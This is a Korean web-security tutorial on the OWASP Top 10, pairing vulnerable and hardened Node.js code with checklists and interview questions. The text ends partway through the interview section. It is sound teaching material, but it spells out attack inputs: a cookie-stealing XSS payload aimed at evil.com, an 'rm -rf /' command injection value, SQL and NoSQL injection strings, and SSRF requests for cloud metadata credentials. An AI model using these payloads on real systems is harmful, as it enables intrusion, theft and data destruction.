Skip to content

Split View: 웹 보안 OWASP Top 10 완전 가이드 2025: 개발자가 반드시 막아야 할 10대 취약점

✨ Learn with Quiz
|

웹 보안 OWASP Top 10 완전 가이드 2025: 개발자가 반드시 막아야 할 10대 취약점

서론: 왜 모든 개발자가 보안을 알아야 하는가

2024년 IBM의 Cost of a Data Breach Report에 따르면 데이터 유출 사고의 평균 비용은 488만 달러에 달합니다. 더 충격적인 사실은 유출 사고의 약 70%가 애플리케이션 레벨의 취약점에서 시작된다는 점입니다.

보안은 보안팀만의 책임이 아닙니다. 모든 코드를 작성하는 개발자가 보안의 첫 번째 방어선입니다. OWASP(Open Web Application Security Project)는 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정기적으로 발표합니다.

이 글에서는 OWASP Top 10 2021의 각 취약점을 실제 코드와 함께 분석하고, 방어 방법과 실전 체크리스트를 제공합니다.


1. OWASP Top 10 개요

1.1 OWASP Top 10 2021 순위

순위카테고리2017 대비 변화
A01Broken Access Control5위에서 1위로 상승
A02Cryptographic Failures3위에서 2위 (이름 변경)
A03Injection1위에서 3위로 하락
A04Insecure Design신규 항목
A05Security Misconfiguration6위에서 5위로 상승
A06Vulnerable and Outdated Components9위에서 6위로 상승
A07Identification and Authentication Failures2위에서 7위로 하락
A08Software and Data Integrity Failures신규 (8위에서 분리)
A09Security Logging and Monitoring Failures10위에서 9위로 상승
A10Server-Side Request Forgery (SSRF)신규 항목

1.2 2017 대비 주요 변화

Injection이 1위에서 3위로 하락한 것은 프레임워크들의 기본 방어 메커니즘이 개선되었기 때문입니다. 반면 Broken Access Control이 1위로 올라간 것은 API 기반 아키텍처의 확산으로 권한 제어 실수가 급증했기 때문입니다.

Insecure Design(A04)SSRF(A10) 가 신규 진입한 것은 클라우드 네이티브 환경과 마이크로서비스 아키텍처에서 새로운 공격 벡터가 등장했음을 의미합니다.


2. A01: Broken Access Control (접근 제어 실패)

2.1 개요

접근 제어 실패는 사용자가 자신의 권한을 넘어서는 행동을 할 수 있는 취약점입니다. 94%의 애플리케이션에서 어떤 형태로든 접근 제어 실패가 발견되었습니다.

2.2 공격 시나리오

IDOR (Insecure Direct Object Reference):

# 공격자가 URLID를 변경하여 다른 사용자 정보 조회
GET /api/users/12345/profile → 자신의 프로필
GET /api/users/12346/profile → 다른 사용자의 프로필 (권한 없이 접근!)

2.3 취약한 코드

// 취약한 코드 - 권한 확인 없이 직접 조회
app.get('/api/users/:id/profile', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user); // 누구든 ID만 알면 접근 가능!
});

// 취약한 코드 - 역할만 확인하고 리소스 소유권 미확인
app.delete('/api/posts/:id', requireRole('user'), async (req, res) => {
  await Post.findByIdAndDelete(req.params.id); // 다른 사용자의 글도 삭제 가능!
  res.json({ message: 'Deleted' });
});

2.4 안전한 코드

// 안전한 코드 - 리소스 소유권 확인
app.get('/api/users/:id/profile', authenticate, async (req, res) => {
  // 자신의 프로필이거나 관리자인 경우에만 허용
  if (req.params.id !== req.user.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const user = await User.findById(req.params.id);
  res.json(user);
});

// 안전한 코드 - 리소스 소유권 + 역할 확인
app.delete('/api/posts/:id', authenticate, async (req, res) => {
  const post = await Post.findById(req.params.id);
  if (!post) return res.status(404).json({ error: 'Not found' });

  if (post.authorId !== req.user.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  await post.deleteOne();
  res.json({ message: 'Deleted' });
});

2.5 방어 체크리스트

  • 기본적으로 모든 접근을 거부하고, 필요한 경우에만 허용 (Deny by default)
  • IDOR 방지: 리소스 접근 시 항상 소유권 또는 권한 확인
  • CORS 설정을 최소한으로 제한
  • JWT 토큰에 역할 정보 포함 시 서버 측에서 재검증
  • API 엔드포인트마다 접근 제어 테스트 작성

3. A02: Cryptographic Failures (암호화 실패)

3.1 개요

민감한 데이터를 보호하기 위한 암호화가 누락되거나 잘못 구현된 경우입니다. 이전에는 "Sensitive Data Exposure"라고 불렸습니다.

3.2 공격 시나리오

# 시나리오 1: HTTP를 통한 비밀번호 전송
POST http://example.com/login  (HTTPS가 아닌 HTTP!)
Body: username=admin&password=secret123

# 시나리오 2: 취약한 해시 알고리즘
비밀번호를 MD5로 저장 → 레인보우 테이블 공격으로 즉시 복호화

3.3 취약한 코드

// 취약: MD5로 비밀번호 해시
const crypto = require('crypto');
const hashedPassword = crypto.createHash('md5').update(password).digest('hex');

// 취약: 하드코딩된 암호화 키
const SECRET_KEY = 'my-super-secret-key-123';
const encrypted = encrypt(data, SECRET_KEY);

// 취약: 약한 TLS 버전 허용
const server = https.createServer({
  secureProtocol: 'TLSv1_method', // TLS 1.0은 취약!
});

3.4 안전한 코드

const bcrypt = require('bcrypt');

// 안전: bcrypt로 비밀번호 해시 (솔트 자동 생성)
const SALT_ROUNDS = 12;
const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);
const isMatch = await bcrypt.compare(inputPassword, hashedPassword);

// 안전: 환경변수에서 키 로드 + AES-256-GCM 사용
const crypto = require('crypto');
const SECRET_KEY = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');

function encrypt(plaintext) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv('aes-256-gcm', SECRET_KEY, iv);
  const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
  const tag = cipher.getAuthTag();
  return { iv: iv.toString('hex'), encrypted: encrypted.toString('hex'), tag: tag.toString('hex') };
}

// 안전: TLS 1.2 이상만 허용
const server = https.createServer({
  minVersion: 'TLSv1.2',
  ciphers: 'TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256',
});

3.5 방어 체크리스트

  • 모든 통신에 HTTPS(TLS 1.2+) 강제
  • 비밀번호는 bcrypt, scrypt, Argon2 사용 (MD5, SHA-1 금지)
  • 암호화 키는 환경변수 또는 KMS(Key Management Service) 사용
  • AES-256-GCM 등 인증된 암호화 알고리즘 사용
  • 민감 데이터를 불필요하게 저장하지 않음

4. A03: Injection (인젝션)

4.1 개요

사용자 입력이 쿼리, 명령어, 코드의 일부로 해석되는 취약점입니다. SQL Injection, NoSQL Injection, OS Command Injection, XSS가 대표적입니다.

4.2 SQL Injection 공격 시나리오

-- 정상 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

-- 공격 입력: username = ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
-- 결과: 모든 사용자 정보가 반환됨!

4.3 취약한 코드 vs 안전한 코드

// ===== SQL Injection =====

// 취약: 문자열 연결로 쿼리 생성
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query);

// 안전: 파라미터화된 쿼리 (Prepared Statement)
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, hashedPassword]);

// 안전: ORM 사용 (Sequelize 예시)
const user = await User.findOne({
  where: { username, password: hashedPassword },
});

// ===== NoSQL Injection =====

// 취약: MongoDB - 사용자 입력을 직접 쿼리에 사용
app.post('/login', async (req, res) => {
  // 공격: { "username": {"$gt": ""}, "password": {"$gt": ""} }
  const user = await User.findOne(req.body);
});

// 안전: 타입 검증 + mongo-sanitize
const sanitize = require('mongo-sanitize');
app.post('/login', async (req, res) => {
  const username = sanitize(req.body.username);
  if (typeof username !== 'string') return res.status(400).send('Invalid input');
  const user = await User.findOne({ username, password: hashedPassword });
});

// ===== OS Command Injection =====

// 취약: 사용자 입력을 쉘 명령어에 직접 사용
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
// 공격: userInput = "8.8.8.8; rm -rf /"

// 안전: execFile 사용 (쉘 해석 없음)
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput], callback);

4.4 XSS (Cross-Site Scripting)

// ===== Stored XSS =====

// 취약: 사용자 입력을 그대로 HTML에 삽입
app.get('/comments', async (req, res) => {
  const comments = await Comment.find();
  let html = '';
  comments.forEach(c => {
    html += `<div>${c.text}</div>`; // XSS 취약!
  });
  res.send(html);
});
// 공격 입력: <script>document.location='http://evil.com/?cookie='+document.cookie</script>

// 안전: 출력 인코딩
const he = require('he');
comments.forEach(c => {
  html += `<div>${he.encode(c.text)}</div>`;
});

// React는 기본적으로 XSS 방지 (JSX가 자동 이스케이프)
function Comment({ text }) {
  return <div>{text}</div>; // 자동으로 HTML 이스케이프됨
}

// 주의: dangerouslySetInnerHTML은 XSS 취약!
// <div dangerouslySetInnerHTML={{ __html: userInput }} /> // 사용 금지!

4.5 방어 체크리스트

  • SQL: 항상 파라미터화된 쿼리 또는 ORM 사용
  • NoSQL: 입력 타입 검증 + mongo-sanitize
  • OS Command: execFile 사용, 사용자 입력을 쉘에 직접 전달 금지
  • XSS: 출력 인코딩, CSP 헤더 설정, React/Vue 등 프레임워크의 자동 이스케이프 활용

5. A04: Insecure Design (불안전한 설계)

5.1 개요

보안 제어가 설계 단계에서부터 누락된 경우입니다. A04는 코드 레벨이 아닌 아키텍처 레벨의 취약점입니다. 아무리 완벽하게 구현해도 설계 자체가 취약하면 안전할 수 없습니다.

5.2 공격 시나리오

시나리오: 비밀번호 재설정 질문 기반 인증
- "어머니의 성함은?"SNS에서 쉽게 수집 가능
- 설계 결함: 비밀번호 재설정에 보안 질문만 사용

시나리오: 무제한 파일 업로드
- 파일 크기/타입 제한 없음 → 서버 디스크 고갈 또는 악성 파일 실행
- 설계 결함: 리소스 제한이 아키텍처에 미포함

5.3 안전한 설계 원칙

// 원칙 1: Rate Limiting (요청 제한)
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15분
  max: 5, // 최대 5회 시도
  message: 'Too many login attempts. Please try again after 15 minutes.',
  standardHeaders: true,
});
app.post('/login', loginLimiter, loginHandler);

// 원칙 2: Business Logic Validation
// 쿠폰 사용 시 중복 사용 방지를 설계 단계에서 고려
async function applyCoupon(userId, couponCode) {
  const coupon = await Coupon.findOne({ code: couponCode });
  if (!coupon || coupon.usedBy.includes(userId)) {
    throw new Error('Invalid or already used coupon');
  }
  // 원자적 업데이트로 레이스 컨디션 방지
  const result = await Coupon.findOneAndUpdate(
    { code: couponCode, usedBy: { $ne: userId } },
    { $push: { usedBy: userId } },
    { new: true }
  );
  if (!result) throw new Error('Coupon already used');
  return result;
}

// 원칙 3: 위협 모델링 (Threat Modeling)
// STRIDE 모델: Spoofing, Tampering, Repudiation,
//              Information Disclosure, Denial of Service,
//              Elevation of Privilege

5.4 방어 체크리스트

  • 설계 단계에서 위협 모델링 수행 (STRIDE, DREAD)
  • 비즈니스 로직에 Rate Limiting 포함
  • Abuse Case를 Use Case와 함께 작성
  • 보안 설계 패턴 라이브러리 활용
  • 보안 요구사항을 User Story에 포함

6. A05: Security Misconfiguration (보안 설정 오류)

6.1 개요

서버, 프레임워크, 클라우드 서비스의 보안 설정이 기본값이거나 잘못 구성된 경우입니다. 90%의 애플리케이션에서 발견되는 가장 흔한 취약점입니다.

6.2 취약한 설정 vs 안전한 설정

// ===== Express.js 보안 설정 =====

// 취약: 기본 설정 사용
const app = express();
app.use(express.json());
// X-Powered-By 헤더가 "Express"를 노출 → 공격자에게 정보 제공

// 안전: Helmet 미들웨어 + 보안 강화
const helmet = require('helmet');
const app = express();
app.use(helmet()); // 여러 보안 헤더 자동 설정
app.disable('x-powered-by');

// 안전: 에러 메시지 정보 노출 방지
app.use((err, req, res, next) => {
  console.error(err.stack); // 서버 로그에만 기록
  res.status(500).json({
    error: 'Internal Server Error', // 일반적인 메시지만 반환
    // message: err.message  // 절대 노출하지 않음!
    // stack: err.stack      // 절대 노출하지 않음!
  });
});
# ===== Docker 보안 설정 =====

# 취약: root 사용자로 실행
FROM node:20
COPY . .
CMD ["node", "server.js"]

# 안전: non-root 사용자 사용
FROM node:20-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
USER appuser
CMD ["node", "server.js"]
# ===== AWS S3 보안 설정 =====

# 취약: 퍼블릭 접근 허용된 S3 버킷
# BucketPolicy에 Principal: "*" 설정

# 안전: 퍼블릭 접근 차단
Resources:
  MyBucket:
    Type: AWS::S3::Bucket
    Properties:
      PublicAccessBlockConfiguration:
        BlockPublicAcls: true
        BlockPublicPolicy: true
        IgnorePublicAcls: true
        RestrictPublicBuckets: true
      BucketEncryption:
        ServerSideEncryptionConfiguration:
          - ServerSideEncryptionByDefault:
              SSEAlgorithm: AES256

6.3 방어 체크리스트

  • 프로덕션에서 디버그 모드 비활성화
  • 기본 계정/비밀번호 변경
  • 불필요한 기능, 포트, 서비스 비활성화
  • 보안 헤더 설정 (Helmet 등)
  • 클라우드 리소스의 퍼블릭 접근 차단
  • Infrastructure as Code(IaC)로 설정 일관성 유지

7. A06: Vulnerable and Outdated Components (취약한 구성 요소)

7.1 개요

알려진 취약점이 있는 라이브러리, 프레임워크, 소프트웨어 구성 요소를 사용하는 경우입니다. Log4Shell(CVE-2021-44228)이 대표적인 사례입니다.

7.2 방어 코드 및 도구

# npm 의존성 취약점 감사
npm audit
npm audit fix

# Snyk으로 취약점 스캔
npx snyk test
npx snyk monitor  # 지속적 모니터링

# GitHub Dependabot 설정 (.github/dependabot.yml)
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    reviewers:
      - "security-team"
// package.json - 버전 고정 전략
{
  "dependencies": {
    "express": "4.18.2",      // 정확한 버전 고정
    "lodash": "^4.17.21"      // 마이너/패치 업데이트 허용
  },
  "overrides": {
    // 간접 의존성의 취약한 버전 강제 업데이트
    "nth-check": ">=2.0.1"
  }
}

7.3 방어 체크리스트

  • npm audit / Snyk / OWASP Dependency-Check 정기 실행
  • CI/CD 파이프라인에 의존성 취약점 스캔 통합
  • Dependabot 또는 Renovate Bot으로 자동 업데이트 PR 생성
  • 사용하지 않는 의존성 제거
  • SBOM(Software Bill of Materials) 유지

8. A07: Identification and Authentication Failures (인증 실패)

8.1 개요

인증 메커니즘이 잘못 구현되어 공격자가 사용자 계정에 무단 접근할 수 있는 취약점입니다.

8.2 취약한 코드 vs 안전한 코드

// ===== 취약한 세션 관리 =====

// 취약: 순차적 세션 ID
let sessionCounter = 0;
function createSession() {
  return (++sessionCounter).toString(); // 예측 가능!
}

// 안전: 암호학적으로 안전한 랜덤 세션 ID
const crypto = require('crypto');
function createSession() {
  return crypto.randomBytes(32).toString('hex'); // 256비트 랜덤
}

// ===== 취약한 JWT 구현 =====

// 취약: algorithm none 허용
const payload = jwt.verify(token, secret); // algorithm 검증 안 함!

// 안전: 명시적 알고리즘 지정
const payload = jwt.verify(token, secret, {
  algorithms: ['HS256'], // 허용할 알고리즘 명시
  issuer: 'my-app',
  audience: 'my-api',
});

// ===== 비밀번호 정책 =====

// 안전: 강력한 비밀번호 검증
function validatePassword(password) {
  const minLength = 12;
  const hasUpperCase = /[A-Z]/.test(password);
  const hasLowerCase = /[a-z]/.test(password);
  const hasNumbers = /\d/.test(password);
  const hasSpecialChar = /[!@#$%^&*(),.?":{}|<>]/.test(password);
  const isNotCommon = !commonPasswords.includes(password);

  return (
    password.length >= minLength &&
    hasUpperCase && hasLowerCase &&
    hasNumbers && hasSpecialChar && isNotCommon
  );
}

8.3 다중 인증(MFA) 구현

// TOTP (Time-based One-Time Password) 구현
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');

// MFA 설정
async function setupMFA(userId) {
  const secret = speakeasy.generateSecret({
    name: `MyApp:user-${userId}`,
    issuer: 'MyApp',
  });
  // QR 코드 생성
  const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
  // 시크릿을 DB에 저장 (암호화하여)
  await User.updateOne({ _id: userId }, { mfaSecret: encrypt(secret.base32) });
  return { qrCodeUrl, backupCodes: generateBackupCodes() };
}

// MFA 검증
function verifyMFA(token, userSecret) {
  return speakeasy.totp.verify({
    secret: userSecret,
    encoding: 'base32',
    token: token,
    window: 1, // 30초 앞뒤 허용
  });
}

8.4 방어 체크리스트

  • MFA(다중 인증) 구현 및 권장
  • 비밀번호 최소 12자 + 복잡도 요구
  • 실패한 로그인 시도 제한 (Account Lockout)
  • 세션 타임아웃 설정
  • 비밀번호 해시에 bcrypt/Argon2 사용
  • JWT: 알고리즘 명시, 만료 시간 설정, Refresh Token Rotation

9. A08: Software and Data Integrity Failures (소프트웨어 무결성 실패)

9.1 개요

소프트웨어 업데이트, CI/CD 파이프라인, 데이터 직렬화에서 무결성이 검증되지 않는 경우입니다. SolarWinds 공급망 공격이 대표적 사례입니다.

9.2 취약한 코드 vs 안전한 코드

// ===== 안전하지 않은 역직렬화 =====

// 취약: 사용자 입력을 직접 역직렬화
app.post('/api/data', (req, res) => {
  const data = JSON.parse(req.body.serializedData);
  // Prototype Pollution 가능!
  processData(data);
});

// 안전: 스키마 검증 후 역직렬화
const Joi = require('joi');
const schema = Joi.object({
  name: Joi.string().max(100).required(),
  age: Joi.number().integer().min(0).max(150),
  email: Joi.string().email(),
});

app.post('/api/data', (req, res) => {
  const { error, value } = schema.validate(req.body);
  if (error) return res.status(400).json({ error: error.details });
  processData(value); // 검증된 데이터만 처리
});
# ===== CI/CD 파이프라인 무결성 =====

# GitHub Actions에서 의존성 해시 고정
- uses: actions/checkout@v4   # 태그 고정
  # 더 안전: SHA 해시 고정
  # uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

9.3 방어 체크리스트

  • SRI(Subresource Integrity) 해시를 CDN 리소스에 추가
  • CI/CD 파이프라인에서 아티팩트 서명 및 검증
  • npm lockfile(package-lock.json) 무결성 확인
  • 역직렬화 전 스키마 검증 (Joi, Zod)
  • 소프트웨어 업데이트의 디지털 서명 확인

10. A09: Security Logging and Monitoring Failures (로깅 실패)

10.1 개요

보안 관련 이벤트가 기록되지 않거나, 모니터링되지 않아 공격을 탐지하지 못하는 경우입니다. 평균적으로 유출 사고 탐지까지 194일이 소요됩니다.

10.2 안전한 보안 로깅

const winston = require('winston');

// 보안 이벤트 전용 로거
const securityLogger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json()
  ),
  defaultMeta: { service: 'security' },
  transports: [
    new winston.transports.File({ filename: 'security.log' }),
    // 프로덕션에서는 SIEM으로 전송
  ],
});

// 로그인 시도 기록
function logAuthEvent(event) {
  securityLogger.info('Authentication event', {
    type: event.type,         // 'login_success', 'login_failure', 'logout'
    userId: event.userId,
    ip: event.ip,
    userAgent: event.userAgent,
    timestamp: new Date().toISOString(),
    // 주의: 비밀번호는 절대 로깅하지 않음!
  });
}

// 중요 작업 감사 로그
function logAuditEvent(action, userId, resource, details) {
  securityLogger.info('Audit event', {
    action,      // 'create', 'update', 'delete', 'export'
    userId,
    resource,    // 'user', 'payment', 'admin_settings'
    details,
    timestamp: new Date().toISOString(),
  });
}

10.3 방어 체크리스트

  • 로그인 성공/실패, 권한 변경, 중요 작업을 반드시 로깅
  • 비밀번호, 토큰 등 민감 정보는 로그에 포함하지 않음
  • 중앙 집중식 로그 관리 (ELK Stack, CloudWatch)
  • 이상 탐지 알림 설정 (N분 내 N회 실패 시 알림)
  • 로그 변조 방지 (별도 서버에 저장, 감사 로그 immutability)

11. A10: Server-Side Request Forgery (SSRF)

11.1 개요

서버가 공격자가 지정한 URL로 요청을 보내도록 유도하는 공격입니다. 2019년 Capital One 해킹 사건의 핵심 취약점이었습니다.

11.2 공격 시나리오

# 정상 요청: 외부 이미지 미리보기
POST /api/fetch-url
Body: { "url": "https://example.com/image.png" }

# SSRF 공격: 내부 메타데이터 서비스 접근
POST /api/fetch-url
Body: { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
# AWS 인스턴스의 IAM 크레덴셜 탈취!

# SSRF 공격: 내부 서비스 접근
POST /api/fetch-url
Body: { "url": "http://internal-admin.local:8080/admin/delete-all" }

11.3 취약한 코드 vs 안전한 코드

const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

// 취약: 사용자 입력 URL로 직접 요청
app.post('/api/fetch-url', async (req, res) => {
  const response = await axios.get(req.body.url); // 위험!
  res.json(response.data);
});

// 안전: URL 검증 + IP 차단
async function isUrlSafe(urlString) {
  const parsed = new URL(urlString);

  // HTTPS만 허용
  if (parsed.protocol !== 'https:') return false;

  // 내부 호스트명 차단
  const blockedHosts = ['localhost', '127.0.0.1', '0.0.0.0', 'metadata.google.internal'];
  if (blockedHosts.includes(parsed.hostname)) return false;

  // DNS 확인 후 내부 IP 차단
  const addresses = await dns.resolve4(parsed.hostname);
  for (const addr of addresses) {
    const ip = ipaddr.parse(addr);
    if (ip.range() !== 'unicast') return false; // 사설 IP, 루프백 등 차단
  }
  return true;
}

app.post('/api/fetch-url', async (req, res) => {
  if (!await isUrlSafe(req.body.url)) {
    return res.status(403).json({ error: 'URL not allowed' });
  }
  const response = await axios.get(req.body.url, {
    timeout: 5000,
    maxRedirects: 0,  // 리다이렉트 차단 (SSRF 우회 방지)
  });
  res.json(response.data);
});

11.4 방어 체크리스트

  • 허용 목록(allowlist) 기반 URL 검증
  • 내부 IP 대역(10.x, 172.16-31.x, 192.168.x, 169.254.x) 차단
  • IMDSv2 사용 (AWS 메타데이터 서비스 보호)
  • 서버에서 외부 요청 시 전용 네트워크 인터페이스 사용
  • DNS Rebinding 방지: DNS 해석 후 IP 재확인

12. Beyond OWASP: 추가 취약점

12.1 CSRF (Cross-Site Request Forgery)

// CSRF 방어: csurf 미들웨어
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // CSRF 토큰 자동 검증
  processTransfer(req.body);
});

// SameSite 쿠키로 CSRF 방어
res.cookie('session', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict', // 또는 'Lax'
  maxAge: 3600000,
});

12.2 CORS (Cross-Origin Resource Sharing)

const cors = require('cors');

// 취약: 모든 오리진 허용
app.use(cors()); // origin: '*'

// 안전: 특정 오리진만 허용
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  credentials: true,
  maxAge: 86400, // preflight 캐시 24시간
}));

12.3 CSP (Content Security Policy)

// Content Security Policy 설정
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-abc123'"], // 인라인 스크립트는 nonce 필수
    styleSrc: ["'self'", "https://fonts.googleapis.com"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.myapp.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
    objectSrc: ["'none'"],
    mediaSrc: ["'none'"],
    frameSrc: ["'none'"],
  },
}));

12.4 Rate Limiting

const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');

// 분산 환경을 위한 Redis 기반 Rate Limiting
const limiter = rateLimit({
  store: new RedisStore({
    sendCommand: (...args) => redisClient.call(...args),
  }),
  windowMs: 15 * 60 * 1000,
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: 'Too many requests, please try again later.' },
  keyGenerator: (req) => req.ip, // IP 기반 제한
});

// API 엔드포인트별 다른 제한
const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });
const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 30 });

app.use('/api/auth', authLimiter);
app.use('/api/', apiLimiter);

13. Security Headers 완전 가이드

// 모든 보안 헤더를 한 번에 설정
app.use((req, res, next) => {
  // XSS 방어
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-XSS-Protection', '0'); // 최신 브라우저는 CSP 사용

  // Clickjacking 방어
  res.setHeader('X-Frame-Options', 'DENY');

  // HTTPS 강제
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');

  // Referrer 정보 제한
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // 브라우저 기능 제한
  res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');

  // CSP
  res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");

  next();
});
헤더목적권장 값
Content-Security-PolicyXSS/인젝션 방어default-src 'self'
Strict-Transport-SecurityHTTPS 강제max-age=31536000; includeSubDomains
X-Frame-OptionsClickjacking 방어DENY
X-Content-Type-OptionsMIME 스니핑 방어nosniff
Referrer-PolicyReferrer 정보 제한strict-origin-when-cross-origin
Permissions-Policy브라우저 기능 제한camera=(), microphone=()

14. 보안 테스팅 도구

14.1 DAST (Dynamic Application Security Testing)

도구유형특징
OWASP ZAP오픈소스 DAST자동 스캔 + 수동 테스트, CI/CD 통합
Burp Suite상용 DAST업계 표준 웹 보안 테스팅 도구
Nuclei오픈소스 스캐너템플릿 기반 취약점 스캔

14.2 SAST (Static Application Security Testing)

도구유형특징
SonarQube오픈소스 SAST코드 품질 + 보안 취약점 분석
Semgrep오픈소스 SAST가벼운 정적 분석, 커스텀 룰 지원
CodeQLGitHub SASTGitHub 통합, 시맨틱 분석

14.3 SCA (Software Composition Analysis)

도구유형특징
SnykSCA + SAST의존성 취약점 + 코드 취약점
npm audit내장npm 의존성 취약점 검사
Trivy오픈소스컨테이너 이미지 + 파일시스템 스캔
# GitHub Actions에 보안 스캔 통합
name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

      - name: Run Semgrep
        uses: semgrep/semgrep-action@v1
        with:
          config: p/owasp-top-ten

      - name: Run Trivy
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          severity: 'CRITICAL,HIGH'

15. 프로덕션 보안 체크리스트 (20항목)

인증 및 접근 제어

  • MFA(다중 인증) 구현
  • 비밀번호 최소 12자 + 복잡도 요구
  • 세션 타임아웃 설정 (예: 30분)
  • JWT Refresh Token Rotation 구현
  • RBAC 또는 ABAC 기반 권한 관리

데이터 보호

  • 모든 통신에 HTTPS(TLS 1.2+) 강제
  • 비밀번호 bcrypt/Argon2 해시
  • 암호화 키 KMS 관리
  • PII(개인식별정보) 최소 수집/암호화 저장

입력 검증

  • 파라미터화된 쿼리 사용 (SQL Injection 방지)
  • 출력 인코딩 (XSS 방지)
  • CSRF 토큰 또는 SameSite 쿠키
  • 파일 업로드 타입/크기 제한

인프라 및 설정

  • 보안 헤더 설정 (CSP, HSTS, X-Frame-Options)
  • 프로덕션에서 디버그 모드 비활성화
  • Docker 컨테이너 non-root 실행
  • 클라우드 리소스 퍼블릭 접근 차단

모니터링 및 대응

  • 보안 이벤트 로깅 (인증, 권한 변경, 중요 작업)
  • 의존성 취약점 자동 스캔 (CI/CD 통합)
  • 인시던트 대응 플레이북 준비

16. 면접 예상 질문 15선

기초 질문

Q1: OWASP Top 10이란 무엇이며, 왜 중요한가요?

OWASP Top 10은 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정리한 목록입니다. 3-4년마다 갱신되며, 보안 인식 제고와 개발 가이드라인으로 업계에서 널리 사용됩니다. PCI DSS 같은 규정 준수에서도 참조됩니다.

Q2: SQL Injection을 방지하는 방법 3가지를 설명하세요.

  1. 파라미터화된 쿼리(Prepared Statement): 쿼리와 데이터를 분리합니다. 2) ORM 사용: Sequelize, Prisma 등이 자동으로 쿼리를 파라미터화합니다. 3) 입력 검증: 화이트리스트 기반으로 허용된 문자만 통과시킵니다.

Q3: XSS의 3가지 유형을 설명하세요.

  1. Stored XSS: 악성 스크립트가 DB에 저장되어 다른 사용자에게 전달. 2) Reflected XSS: URL 파라미터의 스크립트가 응답에 포함. 3) DOM-based XSS: 클라이언트 측 JavaScript가 DOM을 조작하여 발생. 방어는 출력 인코딩과 CSP 헤더 설정입니다.

Q4: CSRF란 무엇이며 어떻게 방어하나요?

CSRF는 인증된 사용자의 브라우저를 이용해 악의적 요청을 보내는 공격입니다. 방어: 1) Anti-CSRF 토큰 사용, 2) SameSite 쿠키 속성, 3) Referer/Origin 헤더 검증, 4) 중요 작업에 재인증 요구.

Q5: HTTPS가 HTTP보다 안전한 이유를 설명하세요.

HTTPS는 TLS를 사용하여 세 가지를 보장합니다: 1) 기밀성: 데이터 암호화로 도청 방지, 2) 무결성: 데이터 변조 감지, 3) 인증: 서버 신원 확인(인증서). HTTP는 평문 전송이므로 중간자 공격(MITM)에 취약합니다.

중급 질문

Q6: Broken Access Control과 Authentication Failure의 차이는?

Authentication Failure는 "당신이 누구인가?"를 잘못 판단하는 것이고, Broken Access Control은 "당신이 무엇을 할 수 있는가?"를 잘못 제어하는 것입니다. 인증은 신원 확인, 접근 제어는 권한 제어입니다.

Q7: SSRF 공격이 클라우드 환경에서 특히 위험한 이유는?

클라우드 환경에는 메타데이터 서비스(169.254.169.254)가 있어 SSRF로 IAM 크레덴셜, 환경 변수 등을 탈취할 수 있습니다. Capital One 해킹이 대표적 사례이며, AWS IMDSv2 사용으로 방어합니다.

Q8: JWT의 보안 취약점과 대책을 설명하세요.

취약점: 1) Algorithm None 공격, 2) 시크릿 키 브루트포스, 3) 토큰 탈취 후 만료까지 사용. 대책: 알고리즘 명시 검증, 강력한 시크릿 키(256비트 이상), 짧은 만료 시간 + Refresh Token Rotation.

Q9: CSP(Content Security Policy)의 동작 원리를 설명하세요.

